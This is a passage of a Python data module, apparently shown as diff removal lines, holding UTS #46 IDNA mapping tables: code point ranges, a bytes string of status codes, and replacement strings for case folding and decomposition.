0x2F830, - 0x2F831, - 0x2F834, - 0x2F835, - 0x2F836, - 0x2F837, - 0x2F838, - 0x2F839, - 0x2F83A, - 0x2F83B, - 0x2F83C, - 0x2F83D, - 0x2F83E, - 0x2F83F, - 0x2F840, - 0x2F841, - 0x2F842, - 0x2F843, - 0x2F844, - 0x2F845, - 0x2F847, - 0x2F848, - 0x2F849, - 0x2F84A, - 0x2F84B, - 0x2F84C, - 0x2F84D, - 0x2F84E, - 0x2F84F, - 0x2F850, - 0x2F851, - 0x2F852, - 0x2F853, - 0x2F854, - 0x2F855, - 0x2F856, - 0x2F857, - 0x2F858, - 0x2F859, - 0x2F85A, - 0x2F85B, - 0x2F85C, - 0x2F85D, - 0x2F85E, - 0x2F85F, - 0x2F860, - 0x2F861, - 0x2F862, - 0x2F863, - 0x2F864, - 0x2F865, - 0x2F866, - 0x2F867, - 0x2F868, - 0x2F869, - 0x2F86A, - 0x2F86C, - 0x2F86D, - 0x2F86E, - 0x2F86F, - 0x2F870, - 0x2F871, - 0x2F872, - 0x2F873, - 0x2F874, - 0x2F875, - 0x2F876, - 0x2F877, - 0x2F878, - 0x2F879, - 0x2F87A, - 0x2F87B, - 0x2F87C, - 0x2F87D, - 0x2F87E, - 0x2F87F, - 0x2F880, - 0x2F881, - 0x2F882, - 0x2F883, - 0x2F884, - 0x2F885, - 0x2F886, - 0x2F887, - 0x2F888, - 0x2F889, - 0x2F88A, - 0x2F88B, - 0x2F88C, - 0x2F88D, - 0x2F88E, - 0x2F88F, - 0x2F890, - 0x2F891, - 0x2F893, - 0x2F894, - 0x2F896, - 0x2F897, - 0x2F898, - 0x2F899, - 0x2F89A, - 0x2F89B, - 0x2F89C, - 0x2F89D, - 0x2F89E, - 0x2F89F, - 0x2F8A0, - 0x2F8A1, - 0x2F8A2, - 0x2F8A3, - 0x2F8A4, - 0x2F8A5, - 0x2F8A6, - 0x2F8A7, - 0x2F8A8, - 0x2F8A9, - 0x2F8AA, - 0x2F8AB, - 0x2F8AC, - 0x2F8AD, - 0x2F8AE, - 0x2F8AF, - 0x2F8B0, - 0x2F8B1, - 0x2F8B2, - 0x2F8B3, - 0x2F8B4, - 0x2F8B5, - 0x2F8B6, - 0x2F8B7, - 0x2F8B8, - 0x2F8B9, - 0x2F8BA, - 0x2F8BB, - 0x2F8BC, - 0x2F8BD, - 0x2F8BE, - 0x2F8BF, - 0x2F8C0, - 0x2F8C1, - 0x2F8C2, - 0x2F8C3, - 0x2F8C4, - 0x2F8C5, - 0x2F8C6, - 0x2F8C7, - 0x2F8C8, - 0x2F8C9, - 0x2F8CA, - 0x2F8CB, - 0x2F8CC, - 0x2F8CD, - 0x2F8CE, - 0x2F8CF, - 0x2F8D0, - 0x2F8D1, - 0x2F8D2, - 0x2F8D3, - 0x2F8D4, - 0x2F8D5, - 0x2F8D6, - 0x2F8D7, - 0x2F8D8, - 0x2F8D9, - 0x2F8DA, - 0x2F8DB, - 0x2F8DC, - 0x2F8DD, - 0x2F8DE, - 0x2F8DF, - 0x2F8E0, - 0x2F8E1, - 0x2F8E2, - 0x2F8E3, - 0x2F8E4, - 0x2F8E5, - 0x2F8E6, - 0x2F8E7, - 0x2F8E8, - 0x2F8E9, - 0x2F8EA, - 0x2F8EB, - 0x2F8EC, - 0x2F8ED, - 0x2F8EE, - 0x2F8EF, - 0x2F8F0, - 0x2F8F1, - 0x2F8F2, - 0x2F8F3, - 0x2F8F4, - 0x2F8F5, - 0x2F8F6, - 0x2F8F7, - 0x2F8F8, - 0x2F8F9, - 0x2F8FA, - 0x2F8FB, - 0x2F8FC, - 0x2F8FD, - 0x2F8FE, - 0x2F8FF, - 0x2F900, - 0x2F901, - 0x2F902, - 0x2F903, - 0x2F904, - 0x2F905, - 0x2F906, - 0x2F907, - 0x2F908, - 0x2F909, - 0x2F90A, - 0x2F90B, - 0x2F90C, - 0x2F90D, - 0x2F90E, - 0x2F90F, - 0x2F910, - 0x2F911, - 0x2F912, - 0x2F913, - 0x2F914, - 0x2F915, - 0x2F916, - 0x2F917, - 0x2F918, - 0x2F919, - 0x2F91A, - 0x2F91B, - 0x2F91C, - 0x2F91D, - 0x2F91E, - 0x2F91F, - 0x2F920, - 0x2F921, - 0x2F922, - 0x2F923, - 0x2F924, - 0x2F925, - 0x2F926, - 0x2F927, - 0x2F928, - 0x2F929, - 0x2F92A, - 0x2F92B, - 0x2F92C, - 0x2F92E, - 0x2F92F, - 0x2F930, - 0x2F931, - 0x2F932, - 0x2F933, - 0x2F934, - 0x2F935, - 0x2F936, - 0x2F937, - 0x2F938, - 0x2F939, - 0x2F93A, - 0x2F93B, - 0x2F93C, - 0x2F93D, - 0x2F93E, - 0x2F93F, - 0x2F940, - 0x2F941, - 0x2F942, - 0x2F943, - 0x2F944, - 0x2F945, - 0x2F946, - 0x2F948, - 0x2F949, - 0x2F94A, - 0x2F94B, - 0x2F94C, - 0x2F94D, - 0x2F94E, - 0x2F94F, - 0x2F950, - 0x2F951, - 0x2F952, - 0x2F953, - 0x2F954, - 0x2F955, - 0x2F956, - 0x2F957, - 0x2F958, - 0x2F959, - 0x2F95A, - 0x2F95B, - 0x2F95C, - 0x2F95D, - 0x2F95F, - 0x2F960, - 0x2F961, - 0x2F962, - 0x2F963, - 0x2F964, - 0x2F965, - 0x2F966, - 0x2F967, - 0x2F968, - 0x2F969, - 0x2F96A, - 0x2F96B, - 0x2F96C, - 0x2F96D, - 0x2F96E, - 0x2F96F, - 0x2F970, - 0x2F971, - 0x2F972, - 0x2F973, - 0x2F974, - 0x2F975, - 0x2F976, - 0x2F977, - 0x2F978, - 0x2F979, - 0x2F97A, - 0x2F97B, - 0x2F97C, - 0x2F97D, - 0x2F97E, - 0x2F97F, - 0x2F980, - 0x2F981, - 0x2F982, - 0x2F983, - 0x2F984, - 0x2F985, - 0x2F986, - 0x2F987, - 0x2F988, - 0x2F989, - 0x2F98A, - 0x2F98B, - 0x2F98C, - 0x2F98D, - 0x2F98E, - 0x2F98F, - 0x2F990, - 0x2F991, - 0x2F992, - 0x2F993, - 0x2F994, - 0x2F995, - 0x2F996, - 0x2F997, - 0x2F998, - 0x2F999, - 0x2F99A, - 0x2F99B, - 0x2F99C, - 0x2F99D, - 0x2F99E, - 0x2F99F, - 0x2F9A0, - 0x2F9A1, - 0x2F9A2, - 0x2F9A3, - 0x2F9A4, - 0x2F9A5, - 0x2F9A6, - 0x2F9A7, - 0x2F9A8, - 0x2F9A9, - 0x2F9AA, - 0x2F9AB, - 0x2F9AC, - 0x2F9AD, - 0x2F9AE, - 0x2F9AF, - 0x2F9B0, - 0x2F9B1, - 0x2F9B2, - 0x2F9B3, - 0x2F9B4, - 0x2F9B5, - 0x2F9B6, - 0x2F9B7, - 0x2F9B8, - 0x2F9B9, - 0x2F9BA, - 0x2F9BB, - 0x2F9BC, - 0x2F9BD, - 0x2F9BE, - 0x2F9BF, - 0x2F9C0, - 0x2F9C1, - 0x2F9C2, - 0x2F9C3, - 0x2F9C4, - 0x2F9C5, - 0x2F9C6, - 0x2F9C7, - 0x2F9C8, - 0x2F9C9, - 0x2F9CA, - 0x2F9CB, - 0x2F9CC, - 0x2F9CD, - 0x2F9CE, - 0x2F9CF, - 0x2F9D0, - 0x2F9D1, - 0x2F9D2, - 0x2F9D3, - 0x2F9D4, - 0x2F9D5, - 0x2F9D6, - 0x2F9D7, - 0x2F9D8, - 0x2F9D9, - 0x2F9DA, - 0x2F9DB, - 0x2F9DC, - 0x2F9DD, - 0x2F9DE, - 0x2F9DF, - 0x2F9E0, - 0x2F9E1, - 0x2F9E2, - 0x2F9E3, - 0x2F9E4, - 0x2F9E5, - 0x2F9E6, - 0x2F9E7, - 0x2F9E8, - 0x2F9E9, - 0x2F9EA, - 0x2F9EB, - 0x2F9EC, - 0x2F9ED, - 0x2F9EE, - 0x2F9EF, - 0x2F9F0, - 0x2F9F1, - 0x2F9F2, - 0x2F9F3, - 0x2F9F4, - 0x2F9F5, - 0x2F9F6, - 0x2F9F7, - 0x2F9F8, - 0x2F9F9, - 0x2F9FA, - 0x2F9FB, - 0x2F9FC, - 0x2F9FD, - 0x2F9FE, - 0x2FA00, - 0x2FA01, - 0x2FA02, - 0x2FA03, - 0x2FA04, - 0x2FA05, - 0x2FA06, - 0x2FA07, - 0x2FA08, - 0x2FA09, - 0x2FA0A, - 0x2FA0B, - 0x2FA0C, - 0x2FA0D, - 0x2FA0E, - 0x2FA0F, - 0x2FA10, - 0x2FA11, - 0x2FA12, - 0x2FA13, - 0x2FA14, - 0x2FA15, - 0x2FA16, - 0x2FA17, - 0x2FA18, - 0x2FA19, - 0x2FA1A, - 0x2FA1B, - 0x2FA1C, - 0x2FA1D, - 0x2FA1E, - 0x30000, - 0x3134B, - 0x31350, - 0x3347A, - 0xE0100, - 0xE01F0, - ), -) - -uts46_statuses: bytes = ( - b"VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV" - b"VMMMMMMMMMMMMMMMMMMMMMMMMMMVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV" - b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXMVVVVVVVMVMVVIVMVVMMMMVVMMMVMMMV" - b"MMMMMMMMMMMMMMMMMMMMMMMVMMMMMMMDVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV" - b"MVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMMVMVMVMVMVMMV" - b"MVMVMVMMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMMVMVMVMVMM" - b"VMVMMVMMMVMMMMVMMVMMMVMMVMMVMVMVMMVMVMVMMVMMMVMVMMVMVMMMMVMVMVMV" - b"MVMVMVMVMVMVMVMVMVMVMVMVMVMMVMMMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVM" - b"VMVMVMVMVMVMVMVMVMVMVMVMVMVMMVMMVMVMMMMVMVMVMVMVMMMMMMMMMVMMMMMM" - b"VMMMMMVMMVMMMVIVMVMVMVMVXMVMMXMMMMMMMXMXMMVMMMMMMMMMMMMMMMMMXMMM" - b"MMMMMMVDVMMMMMMMMVMVMVMVMVMVMVMVMVMVMVMVMVMMMVMMVMVMMVMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVMVMVMVMVMVMVMVMVMVMVMV" - b"MVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMV" - b"MVMMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVM" - b"VMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVXMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMXVMVXVXVXVXVXVXVMMMMVXVXVXVXVXVXVXVXVXVX" - b"VXVXVMMMMMMMMVXVXVXVXVXVXVXVXVXVXVXMMXMVXVXVXVXVXVXVXVMXVMXVXVXV" - b"XVXVXVXMMMVXMXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVX" - b"VXMMXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXV" - b"XVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXV" - b"XVMVXVXVXVXVXVXVXVMVXVXVXVXVXMMVXVMVMVXVMVMVMVMVMVXVMVMMMMMVMVMV" - b"XVMVMVMVMVMVXVXVXVMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXMXMXVMV" - b"IVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXMMMMMMXVXVXVXVXVXVXVXVXVX" - b"VIVXVXVXVIVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVMMM" - b"MMMMMMVXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXMMMVXVXVMMMV" - b"MMMMMMMMMMMVMMMMMMMMMMMMMMMMMMVMMMMMMMMMMMMMMMMMMMMMMMMMMMMVMVMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVMVMVMVMVMVMVMVMVMVMVMVMVMVMV" - b"MVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMV" - b"MVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMMVMVM" - b"VMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVM" - b"VMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMMMMMMMMVXMMMMMMXVMMMMMMMMVMMMMMM" - b"MMVXMMMMMMXVXMXMXMXMVMMMMMMMMVMVMVMVMVMVMVMXMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMVMMMXVMMMMMMMMMMMMMMXVMMMMMMMMMVMXVM" - b"MMMXMMMVMVMMMMMMMMXMMMXVMMMMMMMMXMIDXVMVMVXVXMVMMVMMVMVMVMMMVMVM" - b"IXIMMXMMMMMMMMMMMMMMMMMMMMMMMMMMMXMMMMMMMMMMMMMXVMVXVXMMMMVMMMVM" - b"MMMMMVMMVMMMVMMMVMVMVMVMMMMVMMMMMMMMMMVMMMMMVMMMMVMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVMVMVXVMMVMMVMMVXVXMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVMVMMMVMVXVMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVMVMMMVMVMVMVMMMMVMVMVMM" - b"MMMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMV" - b"MVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVXVXVXVXVXMVXVXVXVXVX" - b"VXVXVXVXVXVXVXVMVMXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXMVMVMVMMMVXVXVMMVMVMXV" - b"XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMIMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXVMMMMMMMMMMMMMMVXVMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXMMMMXMMMMMMMMMMMMM" - b"MMMXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVXVXVXMVMVMVMVMVMVMVM" - b"VMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMMVXV" - b"MVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMV" - b"MVMVMVMVMVMVMVMVMVMMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMVMMMMMVM" - b"MMMMVMVMVMVMVMVMVMVMMMMVMVMMVMVMVMVMVMVMVMVMXMMMMMVMMVXVXVXVXVXV" - b"XVXVXVXVXVXVXVXVXVXVXVXVXVXVXVMMMMVMVXMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVXVXVXVXVX" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMVMVMVMMMMMMMMMMVMVMVMMVMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMXMMMMMMXMMMMMXMVMMMMMMMMMMMMMMMMMMMMMMMMXMMMMM" - b"XMXMMXMMXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMVMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVXMMMMMMMMMMMMMVIMMXMMM" - b"MMMXVXMMMMMMMMMMMMMMMMMMMVMMMMMMXMMMMMMMMMMMMMMMMMMMXMMMMXMMMVMX" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXIXMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMIMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXMMMMMMXMMMMM" - b"MXMMMMMMXMMMXMMMMMMMXMMMMMMMXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXV" - b"XVXVXVXVXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVXVXMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMXVXVXVXVMMMMMMMMMMMXMMMMMMMMMMMMMMMXMMM" - b"MMMMXMMXVXVXVXVXVXVXVXVXVMMMMMXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMXMMMMMMMMMXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVX" - b"VXVXVXVXVXVXVXVXVXVXVXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMXVXVXVXVMMMMMMMMMMMMMMMMMMMMMMXVXVXVXVXVXVXVXVXVXVXVXVX" - b"VXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVX" - b"VXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVX" - b"VXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVX" - b"VXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMVXMMMMMMMMMMMMMMMMMMMMMMMMMXVXVXVXVXVXVXVXVXVXVXVXVXVX" - b"VXVXVXVXVXVXVXVXVXVIXVMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVXVXVX" - b"VXVXVXVXVXVXVMMMMMMMVIVMMMMMMVXVXVXVXVXVXMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMXMMXMXMMXMMMMXMMMMMMMMMMMMXMXMMMMMMMXMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXMMMMXMMMMMMMMXMMMMM" - b"MMXMMMMMMMMMMMMMMMMMMMMMMMMMMMMXMMMMXMMMMMXMXMMMMMMMXMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMVXVXVXVXVXVXVXVXVXVXMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXVXVXVXVXVXVXVXVXVX" - b"VXVXVXVXVXVXVXVXVXVXVXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVXVXVXVX" - b"VXMMMMXMMMMMMMMMMMMMMMMMMMMMMMMMMMXMMXMXMXMMMMMMMMMMXMMMMXMXMXMX" - b"MXMXMXMMMXMMXMXMXMXMXMXMXMMXMXMMMMXMMMMMMMXMMMMXMMMMXMXMMMMMMMMM" - b"MXMMMMMMMMMMMMMMMMMXMMMXMMMMMXMMMMMMMMMMMMMMMMMXVXVXVXVXVXVXVXMM" - b"MMMMMMMMVMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMVMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMVMMMVMVXVMMMXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMXMMMMMMMMMXMMXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVXVX" - b"VXVMMMMMMMMMMVXVXVXVXVXVXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM" - b"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXVXVXIX" -) - -uts46_replacements: tuple[str | None, ...] = ( - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - " ", - None, - None, - None, - None, - None, - None, - None, - " ̈", - None, - "a", - None, - None, - None, - None, - " ̄", - None, - None, - "2", - "3", - " ́", - "μ", - None, - None, - " ̧", - "1", - "o", - None, - "1⁄4", - "1⁄2", - "3⁄4", - None, - "à", - "á", - "â", - "ã", - "ä", - "å", - "æ", - "ç", - "è", - "é", - "ê", - "ë", - "ì", - "í", - "î", - "ï", - "ð", - "ñ", - "ò", - "ó", - "ô", - "õ", - "ö", - None, - "ø", - "ù", - "ú", - "û", - "ü", - "ý", - "þ", - "ss", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "ā", - None, - "ă", - None, - "ą", - None, - "ć", - None, - "ĉ", - None, - "ċ", - None, - "č", - None, - "ď", - None, - "đ", - None, - "ē", - None, - "ĕ", - None, - "ė", - None, - "ę", - None, - "ě", - None, - "ĝ", - None, - "ğ", - None, - "ġ", - None, - "ģ", - None, - "ĥ", - None, - "ħ", - None, - "ĩ", - None, - "ī", - None, - "ĭ", - None, - "į", - None, - "i̇", - None, - "ij", - "ĵ", - None, - "ķ", - None, - "ĺ", - None, - "ļ", - None, - "ľ", - None, - "l·", - "ł", - None, - "ń", - None, - "ņ", - None, - "ň", - None, - "ʼn", - "ŋ", - None, - "ō", - None, - "ŏ", - None, - "ő", - None, - "œ", - None, - "ŕ", - None, - "ŗ", - None, - "ř", - None, - "ś", - None, - "ŝ", - None, - "ş", - None, - "š", - None, - "ţ", - None, - "ť", - None, - "ŧ", - None, - "ũ", - None, - "ū", - None, - "ŭ", - None, - "ů", - None, - "ű", - None, - "ų", - None, - "ŵ", - None, - "ŷ", - None, - "ÿ", - "ź", - None, - "ż", - None, - "ž", - None, - "s", - None, - "ɓ", - "ƃ", - None, - "ƅ", - None, - "ɔ", - "ƈ", - None, - "ɖ", - "ɗ", - "ƌ", - None, - "ǝ", - "ə", - "ɛ", - "ƒ", - None, - "ɠ", - "ɣ", - None, - "ɩ", - "ɨ", - "ƙ", - None, - "ɯ", - "ɲ", - None, - "ɵ", - "ơ", - None, - 